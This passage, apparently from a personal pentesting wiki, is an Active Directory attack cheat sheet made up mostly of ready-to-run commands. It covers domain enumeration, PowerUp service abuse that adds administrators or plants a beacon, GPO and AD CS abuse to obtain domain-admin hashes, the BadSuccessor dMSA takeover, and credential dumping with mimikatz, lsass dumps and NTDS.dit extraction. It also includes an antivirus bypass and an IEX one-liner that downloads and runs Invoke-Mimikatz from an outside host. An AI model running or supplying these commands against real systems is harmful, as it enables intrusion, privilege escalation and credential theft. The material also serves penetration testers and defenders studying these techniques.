&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./rusthound-ce --domain domain.local -u &#039;test&#039; -p &#039;test&#039; -o . -z  --ldaps #specify ldaps if LDAPS is enforced&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AzureHound ==&lt;br /&gt;
&lt;br /&gt;
Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.&lt;br /&gt;
&lt;br /&gt;
See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.&lt;br /&gt;
&lt;br /&gt;
Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error &amp;quot;failed to create new Azure client: unable to authenticate. no valid credential provided&amp;quot; when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
azurehound.exe -j &amp;quot;eyYadssad...&amp;quot; list -o outputjson.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP with credentials ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword &amp;amp; unixUserPassword, or even for Description&lt;br /&gt;
# ENUMERATE&lt;br /&gt;
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/&lt;br /&gt;
ldapsearch -x -b  -H  -D  -W&lt;br /&gt;
ldapsearch -x -b &amp;quot;dc=devconnected,dc=com&amp;quot; -H ldap://192.168.178.29&lt;br /&gt;
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2&lt;br /&gt;
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Group Managed Service Accounts - gMSA ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If service account exists on target, enumerate gMSA.&lt;br /&gt;
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.&lt;br /&gt;
# Example&lt;br /&gt;
Import-Module ActiveDirectory&lt;br /&gt;
Get-ADPrincipalGroupMembership svc_apache$ | select name&lt;br /&gt;
# Check if your user is allowed to retrieve managed passwords&lt;br /&gt;
Get-ADServiceAccount -Identity &#039;svc_apache$&#039; -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword&lt;br /&gt;
# Repo for reading gMSA passwords&lt;br /&gt;
https://github.com/rvazarkar/GMSAPasswordReader&lt;br /&gt;
.\GMSAPasswordReader.exe --accountname svc_apache&lt;br /&gt;
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forest Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Understanding Trust:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;One-Way Trust&#039;&#039;&#039;: If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Two-Way (Bi-Directional) Trust&#039;&#039;&#039;: Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Transitivity&#039;&#039;&#039;: Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain and Enterprise Admins:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Admins&#039;&#039;&#039;: Members of this group have full control over their specific domain. However, their administrative privileges don&#039;t extend to other domains in the forest.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Enterprise Admins&#039;&#039;&#039;: This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerating Domain Trusts&lt;br /&gt;
# Using nltest.exe:&lt;br /&gt;
# The /trusted_domains flag can be used to list domains trusted by the current domain.&lt;br /&gt;
C:\tools&amp;gt; nltest /trusted_domains&lt;br /&gt;
# Using .NET:&lt;br /&gt;
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.&lt;br /&gt;
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()&lt;br /&gt;
# Using Win32 API:&lt;br /&gt;
#  The DsEnumerateDomainTrusts API can be used.&lt;br /&gt;
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.&lt;br /&gt;
Get-DomainTrust -API&lt;br /&gt;
# Using LDAP:&lt;br /&gt;
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).&lt;br /&gt;
Get-DomainTrust&lt;br /&gt;
# Enumerate Users, Groups, and Services in Trusted Domains&lt;br /&gt;
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:&lt;br /&gt;
# .NET DirectorySearcher Class:&lt;br /&gt;
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.&lt;br /&gt;
# PowerView&#039;s Get-DomainUser method can be used to enumerate users in a trusted domain.&lt;br /&gt;
Get-DomainUser -Domain corp1.com&lt;br /&gt;
# BloodHound Ingestor (The best one):&lt;br /&gt;
# This tool can work with domain trust and allows enumeration across the entire forest.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Snaffler - Enumerate shares for good data ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]&lt;br /&gt;
&lt;br /&gt;
Snaffler is a tool for &#039;&#039;&#039;pentesters&#039;&#039;&#039; and &#039;&#039;&#039;red teamers&#039;&#039;&#039; to help find delicious candy needles (creds mostly, but it&#039;s flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\SnafflerParser.ps1 -in snaffler.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ADExplorer.exe ==&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object&#039;s schema, and execute sophisticated searches that you can save and re-execute.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-06-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Can also use the snapshot from ADExplorer with BloodHound.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Local Privilege Escalation =&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.&lt;br /&gt;
&lt;br /&gt;
== Checklist and tools to check for PrivEsc ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Checklist for local windows privilege escalation&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation&lt;br /&gt;
# Notes&lt;br /&gt;
https://blog.aghanim.net/?p=1314&lt;br /&gt;
# Use WinPEASS&lt;br /&gt;
kali&amp;gt; peass&lt;br /&gt;
# Use WinPEASS using meterpreter&lt;br /&gt;
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit&lt;br /&gt;
modules/post/multi/gather/&lt;br /&gt;
# PowerView.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
Import-Module powerview.ps1&lt;br /&gt;
# PowerUp.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup&lt;br /&gt;
. .\powerup.ps1&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
# seatbelt&lt;br /&gt;
# https://github.com/GhostPack/Seatbelt&lt;br /&gt;
# Run all checks&lt;br /&gt;
Seatbelt.exe -group=all -full&lt;br /&gt;
# JAWS&lt;br /&gt;
# https://github.com/411Hall/JAWS&lt;br /&gt;
# Run from within CMD shell and write out to screen.&lt;br /&gt;
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1&lt;br /&gt;
# HostRecon.ps1&lt;br /&gt;
# https://github.com/dafthack/HostRecon&lt;br /&gt;
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC&#039;s, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.&lt;br /&gt;
Invoke-HostRecon -Portscan -TopPorts 128&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Abusing GPO Permission ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Vault writeup&lt;br /&gt;
# If you have write permission to a GPO, try using SharpGPOAbuse&lt;br /&gt;
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master&lt;br /&gt;
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64&lt;br /&gt;
# See github for more commands&lt;br /&gt;
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName &amp;quot;Vulnerable GPO&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerUp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup&lt;br /&gt;
https://powersploit.readthedocs.io/en/latest/&lt;br /&gt;
# Check for vulnerable programs and configs&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
----------------&lt;br /&gt;
# Default vulnerable service abuse&lt;br /&gt;
# Abuses service &#039;VulnSVC&#039; to add a localuser &amp;quot;john&amp;quot; with password &amp;quot;Password123! to the machine and local administrator group&lt;br /&gt;
Invoke-ServiceAbuse -Name VulnSVC&lt;br /&gt;
&lt;br /&gt;
# Exploit vulnerable service permissions (does not require touching disk)&lt;br /&gt;
Invoke-ServiceAbuse -Name &amp;quot;VulnerableSvc&amp;quot; -Command &amp;quot;net localgroup Administrators DOMAIN\user /add&amp;quot;&lt;br /&gt;
# Exploit an unquoted service path vulnerability to spawn a beacon&lt;br /&gt;
Write-ServiceBinary -Name &#039;VulnerableSvc&#039; -Command &#039;c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update&#039; -Path &#039;C:\Program Files\VulnerableSvc&#039;&lt;br /&gt;
# Restart the service to exploit (not always required)&lt;br /&gt;
net.exe stop VulnerableSvc&lt;br /&gt;
net.exe start VulnerableSvc&lt;br /&gt;
-------------&lt;br /&gt;
# PortScan&lt;br /&gt;
Invoke-Portscan -Hosts &amp;quot;webstersprodigy.net,google.com,microsoft.com&amp;quot; -TopPorts 50&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Lateral movement with privileged creds/session =&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]&lt;br /&gt;
&lt;br /&gt;
== AD CS Domain Escalation ==&lt;br /&gt;
&lt;br /&gt;
Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.&lt;br /&gt;
&lt;br /&gt;
The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.&lt;br /&gt;
&lt;br /&gt;
If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]&lt;br /&gt;
&lt;br /&gt;
Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]&lt;br /&gt;
&lt;br /&gt;
Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]&lt;br /&gt;
&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft&lt;br /&gt;
&lt;br /&gt;
------------&lt;br /&gt;
# List all vulnerable template&lt;br /&gt;
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120&lt;br /&gt;
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.&lt;br /&gt;
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca &amp;quot;domain-issuing-CA&amp;quot; -upn &amp;quot;domainadmin01&amp;quot;&lt;br /&gt;
# Retriev NTLM hash for domain admin&lt;br /&gt;
certipy auth -pfx domainadmin01.pfx -domain domain.com&lt;br /&gt;
# Now, pass the hash using desired tool.&lt;br /&gt;
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash&lt;br /&gt;
----------------&lt;br /&gt;
See the below writeup for HTB Manager.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]&lt;br /&gt;
&lt;br /&gt;
== Change Password of user ==&lt;br /&gt;
&lt;br /&gt;
If you have a user that have &amp;quot;ForcePasswordChange&amp;quot; rights on another user you can change the password  of that user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;DOMAIN\user1&amp;quot;, (ConvertTo-SecureString &amp;quot;HelloPass123!&amp;quot; -AsPlainText -Force))&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose&lt;br /&gt;
# Remote&lt;br /&gt;
net rpc password &amp;quot;TargetUser&amp;quot; &amp;quot;newP@ssword2022&amp;quot; -U &amp;quot;DOMAIN&amp;quot;/&amp;quot;ControlledUser&amp;quot;%&amp;quot;Password&amp;quot; -S &amp;quot;DomainController&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Change Password of a User in another domain ==&lt;br /&gt;
&lt;br /&gt;
If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity &amp;quot;user.1&amp;quot; -domain internal.domain.com -AccountPassword $UserPassword&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BadSuccessor ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]&lt;br /&gt;
&lt;br /&gt;
BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.&lt;br /&gt;
&lt;br /&gt;
[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Usage:&lt;br /&gt;
  # Enumerate and list all Organizational Units you have write access to.&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  # Create the malicious dMSA in the target OU&lt;br /&gt;
  BadSuccessor escalate -targetOU  -dmsa  -targetUser  [-dc-ip ] -dnshostname  (-machine  | -user )&lt;br /&gt;
  # Cleanup malicious dMSA&lt;br /&gt;
  BadSuccessor.exe del dMSAAccountName &amp;quot;OU=ServiceAccounts,DC=example,DC=com&amp;quot;&lt;br /&gt;
Examples:&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -machine braavos$ \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -user john.doe \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
Parameters:&lt;br /&gt;
  -targetOU    DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)&lt;br /&gt;
  -dmsa        Name for the new dMSA (sAMAccountName without &#039;$&#039;)&lt;br /&gt;
  -targetUser  Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)&lt;br /&gt;
  -dnshostname dNSHostName to give to the new dMSA for Kerberos authentication&lt;br /&gt;
  -machine     Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$&lt;br /&gt;
  -user        User account for msDS-GroupMSAMembership (sAMAccountName without domain)&lt;br /&gt;
  -dc-ip       (Optional) FQDN or IP of the DC to bind against for schema-aware writes&lt;br /&gt;
Note: You must specify either -machine OR -user, but not both.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Crack TGT - hashcat or John ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hashcat&lt;br /&gt;
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.&lt;br /&gt;
hashcat -a 0 -m 19500 tgt.hash rockyou.txt&lt;br /&gt;
# John the ripper&lt;br /&gt;
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john&lt;br /&gt;
kirbi2john&lt;br /&gt;
# Convert ccache to john format&lt;br /&gt;
https://www.kali.org/tools/john/#ccache2john&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hash extraction (Dump hashes) ==&lt;br /&gt;
&lt;br /&gt;
Dump all the hashes in memory and locally.&lt;br /&gt;
&lt;br /&gt;
If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Credentials Mimikatz&lt;br /&gt;
# Elevate Privileges to extract the credentials&lt;br /&gt;
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins&lt;br /&gt;
token::elevate&lt;br /&gt;
#Extract from lsass (memory)&lt;br /&gt;
sekurlsa::logonpasswords&lt;br /&gt;
#Extract from lsass (service)&lt;br /&gt;
lsadump::lsa /inject&lt;br /&gt;
#Extract from SAM&lt;br /&gt;
lsadump::sam&lt;br /&gt;
#One liner&lt;br /&gt;
mimikatz &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Invoke-Mimikatz&lt;br /&gt;
IEX (New-Object System.Net.Webclient).DownloadString(&#039;https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1&#039;)&lt;br /&gt;
Invoke-Mimikatz -DumpCreds #Dump creds from memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Meterpreter&lt;br /&gt;
#Credentials from SAM&lt;br /&gt;
post/windows/gather/smart_hashdump&lt;br /&gt;
hashdump&lt;br /&gt;
&lt;br /&gt;
#Using kiwi module&lt;br /&gt;
load kiwi&lt;br /&gt;
creds_all&lt;br /&gt;
kiwi_cmd &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
#Using Mimikatz module&lt;br /&gt;
load mimikatz&lt;br /&gt;
mimikatz_command -f &amp;quot;sekurlsa::logonpasswords&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::lsa /inject&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Bypass Anti-Virus&lt;br /&gt;
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump&lt;br /&gt;
#Local&lt;br /&gt;
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
#Remote, mount https://live.sysinternals.com which contains procdump.exe&lt;br /&gt;
net use Z: https://live.sysinternals.com&lt;br /&gt;
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
# Extract creds from dump&lt;br /&gt;
//Load the dump&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
//Extract credentials&lt;br /&gt;
mimikatz # sekurlsa::logonPasswords&lt;br /&gt;
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.&lt;br /&gt;
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with comsvcs.dll&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll&lt;br /&gt;
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump  lsass.dmp full&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with Task Manager&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with procdump&lt;br /&gt;
Get-Process -Name LSASS&lt;br /&gt;
.\procdump.exe -ma 608 lsass.dmp&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Dump SAM hashes&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
# Dump LSA secrets&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
# Dump the NTDS.dit from target DC&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
# Dump the NTDS.dit password history from target DC&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-history&lt;br /&gt;
# Show the pwdLastSet attribute for each NTDS.dit account&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-pwdLastSet&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# Stealing SAM &amp;amp; SYSTEM&lt;br /&gt;
